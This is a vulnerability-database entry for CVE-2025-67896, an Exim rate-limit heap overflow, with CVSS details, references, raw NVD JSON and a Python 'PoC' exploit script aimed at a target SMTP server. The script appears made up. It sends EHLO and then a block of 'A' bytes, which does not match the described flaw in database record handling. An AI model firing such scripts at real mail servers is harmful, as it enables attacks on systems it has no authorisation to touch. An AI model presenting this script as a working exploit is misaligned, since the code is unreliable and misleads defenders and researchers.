Security Vulnerability Report
中文
CVE-2025-67896 CVSS 7.0 HIGH

CVE-2025-67896

Published: 2025-12-14 04:15:50
Last Modified: 2025-12-22 19:15:45

Description

Exim before 4.99.1, with certain non-default rate-limit configurations, allows a remote heap-based buffer overflow because database records are cast directly to internal structures without validation.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:exim:exim:*:*:*:*:*:*:*:* - VULNERABLE
Exim < 4.99.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-67896 PoC - Exim Rate-Limit Heap Overflow Note: This PoC is for educational and authorized testing purposes only. """ import socket import sys def create_exploit_payload(): """ Generate malicious payload for rate-limit database record that triggers heap buffer overflow in Exim """ # Craft a malformed rate-limit record with oversized fields # that will overflow internal structures when cast without validation header = b'RATE_LIMIT\x00' # Overflow payload - field length exceeds expected buffer size overflow_field = b'A' * 2048 # Exceeds internal buffer # Malformed data structure without proper validation payload = header + overflow_field + b'\x00' * 100 return payload def send_exploit(target_host, target_port=25): """ Send exploit payload to target Exim SMTP server """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Read banner banner = sock.recv(1024) print(f"[+] Received banner: {banner.decode().strip()}") # Send EHLO sock.send(b'EHLO test\r\n') response = sock.recv(1024) print(f"[+] EHLO response received") # Send malicious rate-limit payload payload = create_exploit_payload() print(f"[+] Sending exploit payload ({len(payload)} bytes)") sock.send(payload) # Wait for response try: response = sock.recv(1024) print(f"[+] Response: {response}") except socket.timeout: print("[*] No response (possible crash or timeout)") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_host> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 25 print(f"[*] Exploiting CVE-2025-67896 against {target}:{port}") send_exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67896", "sourceIdentifier": "[email protected]", "published": "2025-12-14T04:15:50.287", "lastModified": "2025-12-22T19:15:45.067", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exim before 4.99.1, with certain non-default rate-limit configurations, allows a remote heap-based buffer overflow because database records are cast directly to internal structures without validation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:exim:exim:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.99.1", "matchCriteriaId": "20F1D6C2-EF2C-4F7E-9BE0-F5EC1A2CB8DF"}]}]}], "references": [{"url": "https://exim.org/static/doc/security/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://exim.org/static/doc/security/EXIM-Security-2025-12-09.1/report.txt", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.openwall.com/lists/oss-security/2025/12/11/2", "source": "[email protected]", "tags": ["Mailing List"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/12/14/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/12/18/3", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}]}}